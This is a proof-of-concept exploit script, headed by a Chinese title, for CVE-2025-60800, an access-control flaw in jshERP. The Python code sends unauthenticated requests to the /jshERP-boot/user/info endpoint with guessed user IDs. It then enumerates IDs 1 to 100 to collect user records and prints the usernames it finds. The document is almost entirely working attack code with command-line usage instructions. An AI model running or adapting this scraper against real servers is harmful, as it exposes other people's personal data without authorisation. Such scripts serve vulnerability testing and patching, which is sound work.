jshERP访问控制错误漏洞导致敏感信息泄露(CVE-2025-60800)

import requests import sys import json # CVE-2025-60800 PoC - jshERP Incorrect Access Control # Target: jshERP /jshERP-boot/user/info endpoint # Vulnerability: Allows unauthenticated access to sensitive user information def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60800 """ # Test with common user IDs test_user_ids = [1, 2, 3, 'admin', 'user', 'test'] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.9', } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2025-60800 - jshERP Access Control Error") print("-" * 60) for user_id in test_user_ids: try: # Construct the vulnerable endpoint url = f"{target_url}/jshERP-boot/user/info" params = {'userId': user_id} print(f"\n[*] Testing userId: {user_id}") # Send unauthenticated request response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): print(f"[!] VULNERABLE! Retrieved user info for ID: {user_id}") print(f"[+] Response data: {json.dumps(data['data'], indent=2, ensure_ascii=False)}") return True else: print(f"[-] No sensitive data returned for userId: {user_id}") except json.JSONDecodeError: print(f"[-] Invalid JSON response for userId: {user_id}") else: print(f"[-] HTTP {response.status_code} for userId: {user_id}") except requests.exceptions.RequestException as e: print(f"[!] Error testing userId {user_id}: {e}") print("\n[-] Target does not appear to be vulnerable or user info not found.") return False def exploit_info_gathering(target_url, start_id=1, end_id=100): """ Attempt to gather user information from the vulnerable endpoint """ print(f"\n[*] Starting information gathering (userId {start_id} to {end_id})...") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', } url = f"{target_url}/jshERP-boot/user/info" gathered_users = [] for user_id in range(start_id, end_id + 1): try: params = {'userId': user_id} response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() if data.get('code') == 200 and data.get('data'): user_info = data['data'] gathered_users.append(user_info) print(f"[+] Found user: {user_info.get('username', 'N/A')} (ID: {user_id})") except json.JSONDecodeError: pass except: pass print(f"\n[*] Total users found: {len(gathered_users)}") return gathered_users if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60800.py <target_url>") print("Example: python cve-2025-60800.py http://vulnerable-server.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Check if vulnerable is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[*] Running information gathering...") exploit_info_gathering(target) else: print("\n[-] Exploitation aborted - target may not be vulnerable.")